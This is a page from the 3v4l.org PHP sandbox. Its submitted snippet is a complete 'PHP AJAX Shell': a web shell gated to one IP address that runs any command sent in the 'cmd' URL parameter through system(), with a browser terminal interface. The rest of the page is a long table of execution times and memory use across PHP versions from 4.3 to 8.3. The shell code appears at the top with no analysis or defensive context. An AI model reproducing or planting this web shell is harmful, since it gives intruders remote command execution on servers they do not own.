3v4l.org

run code in 300+ PHP versions simultaneously
<?php if ($_SERVER['REMOTE_ADDR'] !== '1.1.1.1') die(); ob_start(); if (!empty($_GET['cmd'])){ $ff=$_GET['cmd']; #shell_exec($ff); system($ff); #exec($ff); #passthru($ff); } else { ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>PHP AJAX Shell</title> <script type="text/javascript" language="javascript">var CommHis=new Array();var HisP; function doReq(_1,_2,_3){var HR=false;if(window.XMLHttpRequest){HR=new XMLHttpRequest();if(HR.overrideMimeType){HR.overrideMimeType("text/xml");}} else{if(window.ActiveXObject){try{HR=new ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{HR=new ActiveXObject("Microsoft.XMLHTTP");} catch(e){}}}}if(!HR){return false;}HR.onreadystatechange=function(){if(HR.readyState==4){ if(HR.status==200){if(_3){eval(_2+"(HR.responseXML)");}else{eval(_2+"(HR.responseText)");}}}};HR.open("GET",_1,true);HR.send(null);} function pR(rS){var _6=document.getElementById("outt");var _7=rS.split("nn"); var _8=document.getElementById("cmd").value;_6.appendChild(document.createTextNode(_8)); _6.appendChild(document.createElement("br"));for(var _9 in _7){var _a=document.createElement("pre"); _a.style.display="inline";line=document.createTextNode(_7[_9]);_a.appendChild(line);_6.appendChild(_a); _6.appendChild(document.createElement("br"));}_6.appendChild(document.createTextNode(":-> "));_6.scrollTop=_6.scrollHeight; document.getElementById("cmd").value="";}function keyE(_b){switch(_b.keyCode){ case 13:var _c=document.getElementById("cmd").value;if(_c){CommHis[CommHis.length]=_c;HisP=CommHis.length;var _d=document.location.href+"?cmd="+escape(_c); doReq(_d,"pR");}break; case 38:if(HisP>0){HisP--;document.getElementById("cmd").value=CommHis[HisP];}break; case 40:if(HisP<commHis.length-1){HisP++;document.getElementById("cmd").value=CommHis[HisP];}break;default:break;}} </script></head><body style="font-family:courier"> <form onsubmit="return false" style="color:#3F0;background:#000;position:relative;min-height:450px;max-height:490px"> <div id="outt" style="overflow:auto;padding:5px;height:90%;min-height:450px;max-height:490px">:-></div> <input tabindex="1" onkeyup="keyE(event)" style="color:#FFF;background:#333;width:100%;" id="cmd" type="text" /> </form> </body> </html> <?php } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00616.38
8.3.50.0130.00522.05
8.3.40.0070.00718.79
8.3.30.0150.00018.87
8.3.20.0070.00020.13
8.3.10.0040.00423.64
8.3.00.0060.00319.13
8.2.180.0040.01118.29
8.2.170.0100.01022.96
8.2.160.0110.00820.39
8.2.150.0050.00324.18
8.2.140.0090.00024.66
8.2.130.0090.00926.16
8.2.120.0070.00022.11
8.2.110.0060.00322.11
8.2.100.0040.00717.74
8.2.90.0000.00719.40
8.2.80.0040.00418.04
8.2.70.0000.00817.63
8.2.60.0030.00618.05
8.2.50.0050.00318.07
8.2.40.0040.00418.24
8.2.30.0070.00018.13
8.2.20.0000.00717.80
8.2.10.0020.00518.07
8.2.00.0060.00317.81
8.1.280.0110.00425.92
8.1.270.0190.00023.72
8.1.260.0040.00426.35
8.1.250.0070.00028.09
8.1.240.0030.00623.65
8.1.230.0110.00019.01
8.1.220.0040.00417.79
8.1.210.0000.00818.77
8.1.200.0000.00917.36
8.1.190.0000.00817.51
8.1.180.0060.00318.10
8.1.170.0040.00418.64
8.1.160.0050.00221.88
8.1.150.0040.00418.50
8.1.140.0000.00817.39
8.1.130.0000.00817.82
8.1.120.0030.00417.33
8.1.110.0000.00717.36
8.1.100.0000.00717.41
8.1.90.0000.00717.40
8.1.80.0040.00417.28
8.1.70.0000.00717.36
8.1.60.0030.00517.49
8.1.50.0040.00417.37
8.1.40.0000.00717.43
8.1.30.0030.00517.53
8.1.20.0070.00017.50
8.1.10.0040.00417.39
8.1.00.0080.00017.42
8.0.300.0000.00718.77
8.0.290.0070.00017.05
8.0.280.0030.00318.30
8.0.270.0030.00317.23
8.0.260.0000.00616.77
8.0.250.0070.00016.97
8.0.240.0040.00416.86
8.0.230.0000.00716.90
8.0.220.0040.00416.83
8.0.210.0070.00016.78
8.0.200.0060.00016.93
8.0.190.0070.00016.83
8.0.180.0000.00716.92
8.0.170.0040.00416.95
8.0.160.0030.00316.95
8.0.150.0000.00716.72
8.0.140.0040.00416.73
8.0.130.0030.00313.32
8.0.120.0080.00016.79
8.0.110.0040.00416.77
8.0.100.0030.00516.79
8.0.90.0000.00716.71
8.0.80.0120.00916.94
8.0.70.0030.00516.77
8.0.60.0080.00016.71
8.0.50.0070.00016.72
8.0.30.0140.00617.01
8.0.20.0130.00717.40
8.0.10.0030.00517.00
8.0.00.0170.01916.74
7.4.330.0050.00015.00
7.4.320.0060.00016.52
7.4.300.0000.00616.57
7.4.290.0030.00516.44
7.4.280.0050.00216.59
7.4.270.0030.00316.39
7.4.260.0040.00416.32
7.4.250.0030.00516.40
7.4.240.0040.00416.45
7.4.230.0070.00016.55
7.4.220.0160.00316.48
7.4.210.0090.00516.48
7.4.200.0040.00316.61
7.4.190.0030.00316.58
7.4.160.0130.00516.45
7.4.150.0100.00717.40
7.4.140.0080.01217.86
7.4.130.0060.01016.54
7.4.120.0100.00616.57
7.4.110.0110.00616.73
7.4.100.0030.01316.36
7.4.90.0000.01616.42
7.4.80.0070.01619.39
7.4.70.0110.00816.60
7.4.60.0090.00816.70
7.4.50.0090.00016.35
7.4.40.0060.01122.77
7.4.30.0100.00616.61
7.4.00.0070.01014.99
7.3.330.0000.00513.06
7.3.320.0060.00013.16
7.3.310.0030.00316.18
7.3.300.0030.00316.23
7.3.290.0090.00616.29
7.3.280.0140.00316.30
7.3.270.0090.01317.40
7.3.260.0160.00616.59
7.3.250.0110.00716.36
7.3.240.0100.01316.41
7.3.230.0110.00716.45
7.3.210.0140.00416.22
7.3.200.0130.01019.39
7.3.190.0100.01016.42
7.3.180.0080.00816.35
7.3.170.0160.00016.28
7.3.160.0160.00016.38
7.3.120.0060.00914.92
7.3.110.0000.01214.86
7.3.100.0140.00414.58
7.3.90.0040.01114.63
7.3.80.0090.00614.93
7.3.70.0000.01414.82
7.3.60.0000.01014.59
7.3.50.0080.00614.76
7.3.40.0040.00714.76
7.3.30.0030.00914.84
7.3.20.0040.00816.74
7.3.10.0060.00916.73
7.3.00.0110.00716.75
7.2.330.0070.01416.51
7.2.320.0110.00616.54
7.2.310.0060.01216.73
7.2.300.0100.00616.55
7.2.290.0140.00416.73
7.2.250.0120.00614.95
7.2.240.0090.00615.18
7.2.230.0070.01014.86
7.2.220.0040.01414.67
7.2.210.0030.01014.83
7.2.200.0040.01115.03
7.2.190.0070.00414.83
7.2.180.0040.00415.00
7.2.170.0040.01114.94
7.2.160.0120.00014.98
7.2.150.0070.01016.90
7.2.140.0060.00616.84
7.2.130.0100.00716.83
7.2.120.0060.00316.96
7.2.110.0080.00816.97
7.2.100.0090.00616.82
7.2.90.0090.00316.72
7.2.80.0080.00816.61
7.2.70.0090.00616.88
7.2.60.0000.01116.95
7.2.50.0080.00816.89
7.2.40.0140.00417.01
7.2.30.0060.00616.63
7.2.20.0030.00916.88
7.2.10.0060.01016.79
7.2.00.0050.00516.71
7.1.330.0070.00715.89
7.1.320.0060.00615.78
7.1.310.0030.01015.61
7.1.300.0110.00415.71
7.1.290.0040.00415.82
7.1.280.0000.01415.82
7.1.270.0000.00815.54
7.1.260.0030.00915.59
7.1.250.0030.01015.81
7.1.240.0080.00315.83
7.1.230.0030.01015.72
7.1.220.0120.00315.65
7.1.210.0070.01015.83
7.1.200.0070.00515.64
7.1.190.0050.00515.92
7.1.180.0040.01115.96
7.1.170.0060.00915.44
7.1.160.0070.01015.88
7.1.150.0030.00915.68
7.1.140.0090.00615.46
7.1.130.0030.01015.77
7.1.120.0080.00015.87
7.1.110.0110.00415.92
7.1.100.0000.01815.83
7.1.90.0000.01115.76
7.1.80.0060.01015.82
7.1.70.0020.01016.54
7.1.60.0050.01517.47
7.1.50.0090.00916.09
7.1.40.0060.00915.78
7.1.30.0030.00715.73
7.1.20.0030.00715.92
7.1.10.0060.00615.78
7.1.00.0050.04119.06
7.0.330.0070.01015.54
7.0.320.0120.00315.35
7.0.310.0090.00615.32
7.0.300.0000.00915.03
7.0.290.0070.00715.37
7.0.280.0030.00615.10
7.0.270.0080.00515.15
7.0.260.0030.00615.28
7.0.250.0090.00615.47
7.0.240.0040.01115.23
7.0.230.0040.01115.35
7.0.220.0000.00815.32
7.0.210.0070.00315.17
7.0.200.0000.01115.70
7.0.190.0080.00615.34
7.0.180.0030.01015.41
7.0.170.0030.01215.39
7.0.160.0130.00315.38
7.0.150.0120.00015.40
7.0.140.0040.04218.59
7.0.130.0090.00915.28
7.0.120.0040.00715.56
7.0.110.0070.00715.11
7.0.100.0030.01015.07
7.0.90.0000.01215.29
7.0.80.0060.00315.49
7.0.70.0060.00915.10
7.0.60.0050.04317.62
7.0.50.0030.02816.55
7.0.40.0030.04916.57
7.0.30.0150.02316.74
7.0.20.0190.04316.75
7.0.10.0050.04916.89
7.0.00.0040.04416.83
5.6.400.0080.01114.10
5.6.390.0070.00714.32
5.6.380.0030.01314.04
5.6.370.0030.01014.63
5.6.360.0070.00714.70
5.6.350.0030.01314.15
5.6.340.0040.00814.43
5.6.330.0090.00313.97
5.6.320.0070.00714.34
5.6.310.0000.01014.25
5.6.300.0090.00314.46
5.6.290.0130.00614.18
5.6.280.0080.03617.62
5.6.270.0040.00814.70
5.6.260.0030.01314.24
5.6.250.0000.01414.02
5.6.240.0060.00614.38
5.6.230.0100.00314.38
5.6.220.0000.01814.48
5.6.210.0030.02717.36
5.6.200.0110.04016.15
5.6.190.0070.04117.36
5.6.180.0120.02717.47
5.6.170.0120.03617.34
5.6.160.0060.02317.35
5.6.150.0010.03316.24
5.6.140.0020.02516.22
5.6.130.0070.04716.26
5.6.120.0030.03417.77
5.6.110.0100.04317.73
5.6.100.0050.04717.78
5.6.90.0130.04317.77
5.6.80.0140.03517.48
5.6.70.2210.01817.47
5.6.60.0040.01114.34
5.6.50.0030.01014.25
5.6.40.0030.01014.10
5.6.30.0100.00314.28
5.6.20.0070.00714.16
5.6.10.0030.01714.17
5.6.00.0070.00314.36
5.5.380.0080.00414.18
5.5.370.0070.00714.14
5.5.360.0130.00314.34
5.5.350.0050.04717.21
5.5.340.0080.04116.06
5.5.330.0090.04517.34
5.5.320.0130.02817.21
5.5.310.0110.02917.40
5.5.300.0080.02516.21
5.5.290.0000.04315.86
5.5.280.0080.02417.43
5.5.270.0030.04217.40
5.5.260.0100.04717.41
5.5.250.0130.02817.25
5.5.240.0060.03617.16
5.5.230.0040.00814.21
5.5.220.0100.00314.39
5.5.210.0090.00614.44
5.5.200.0030.00914.07
5.5.190.0070.00714.01
5.5.180.0070.00713.92
5.5.170.0030.00714.36
5.5.160.0040.01114.23
5.5.150.0000.01114.27
5.5.140.0000.01213.69
5.5.130.0030.01014.05
5.5.120.0040.00414.27
5.5.110.0040.00714.01
5.5.100.0030.00514.30
5.5.90.0060.00314.04
5.5.80.0080.00314.40
5.5.70.0040.00714.05
5.5.60.0070.00714.02
5.5.50.0040.00713.94
5.5.40.0070.00714.03
5.5.30.0090.00614.27
5.5.20.0090.00313.96
5.5.10.0000.00914.23
5.5.00.0030.01214.22
5.4.450.0230.04215.07
5.4.440.0180.03515.13
5.4.430.0080.02615.14
5.4.420.0130.03715.26
5.4.410.0170.03915.13
5.4.400.0120.03715.13
5.4.390.0170.03514.86
5.4.380.0070.03114.95
5.4.370.0130.02915.08
5.4.360.0150.02115.05
5.4.350.0130.03015.01
5.4.340.0120.02215.03
5.4.330.0000.00611.07
5.4.320.0130.01815.05
5.4.310.0100.02215.09
5.4.300.0190.02814.78
5.4.290.0110.02514.90
5.4.280.0130.03514.79
5.4.270.0190.02914.92
5.4.260.0100.02514.80
5.4.250.0170.03714.91
5.4.240.0130.04114.96
5.4.230.0150.02014.99
5.4.220.0150.03314.95
5.4.210.0130.01914.91
5.4.200.0100.04315.18
5.4.190.0150.04214.86
5.4.180.0170.03714.90
5.4.170.0180.03314.90
5.4.160.0150.03815.01
5.4.150.0160.03614.91
5.4.140.0140.03413.56
5.4.130.0150.03213.74
5.4.120.0120.02113.43
5.4.110.0120.04013.71
5.4.100.0130.04213.61
5.4.90.0130.04213.59
5.4.80.0170.02613.60
5.4.70.0150.03713.53
5.4.60.0170.03713.68
5.4.50.0080.03913.65
5.4.40.0150.03513.55
5.4.30.0120.02313.48
5.4.20.0150.03513.75
5.4.10.0160.02613.64
5.4.00.0080.03413.47
5.3.290.0100.02812.65
5.3.280.0110.04412.62
5.3.270.0150.03512.57
5.3.260.0180.03512.57
5.3.250.0190.02912.56
5.3.240.0130.03612.58
5.3.230.0170.04212.61
5.3.220.0100.02512.67
5.3.210.0170.01912.55
5.3.200.0100.02212.62
5.3.190.0150.03712.55
5.3.180.0120.03312.60
5.3.170.0130.02412.60
5.3.160.0100.02512.60
5.3.150.0130.03712.55
5.3.140.0190.01912.54
5.3.130.0100.03012.60
5.3.120.0180.04312.59
5.3.110.0140.02712.60
5.3.100.0080.02512.34
5.3.90.0150.01912.31
5.3.80.0150.02312.33
5.3.70.0090.02412.33
5.3.60.0080.03312.23
5.3.50.0130.03912.26
5.3.40.0120.02212.29
5.3.30.0150.02812.25
5.3.20.0120.03812.14
5.3.10.0130.02412.09
5.3.00.0120.03912.09
5.2.170.0170.03012.97
5.2.160.0200.02712.97
5.2.150.0130.06312.97
5.2.140.0170.03312.97
5.2.130.0230.04012.97
5.2.120.0230.03312.97
5.2.110.0230.05712.97
5.2.100.0200.05012.97
5.2.90.0230.05312.97
5.2.80.0270.05712.97
5.2.70.0200.03712.97
5.2.60.0200.05712.97
5.2.50.0200.04712.97
5.2.40.0170.05012.97
5.2.30.0200.05712.97
5.2.20.0200.03312.97
5.2.10.0230.05012.97
5.2.00.0170.03712.97
5.1.60.0200.04312.97
5.1.50.0170.05312.97
5.1.40.0170.03312.97
5.1.30.0130.06012.97
5.1.20.0130.05312.97
5.1.10.0230.04712.97
5.1.00.0230.04312.97
5.0.50.0130.03712.97
5.0.40.0100.03312.97
5.0.30.0130.06012.97
5.0.20.0070.02312.97
5.0.10.0170.02012.97
5.0.00.0170.03012.97
4.4.90.0070.02012.97
4.4.80.0100.03312.97
4.4.70.0100.03312.97
4.4.60.0070.01712.97
4.4.50.0070.01312.97
4.4.40.0100.02012.97
4.4.30.0100.03312.97
4.4.20.0070.02712.97
4.4.10.0100.01712.97
4.4.00.0070.03012.97
4.3.110.0070.02012.97
4.3.100.0100.03012.97
4.3.90.0100.02712.97
4.3.80.0100.04312.97
4.3.70.0100.03012.97
4.3.60.0200.02312.97
4.3.50.0100.03012.97
4.3.40.0070.02712.97
4.3.30.0070.03012.97
4.3.20.0130.03012.97
4.3.10.0070.03312.97
4.3.00.0030.01712.97

preferences:
49.67 ms | 401 KiB | 5 Q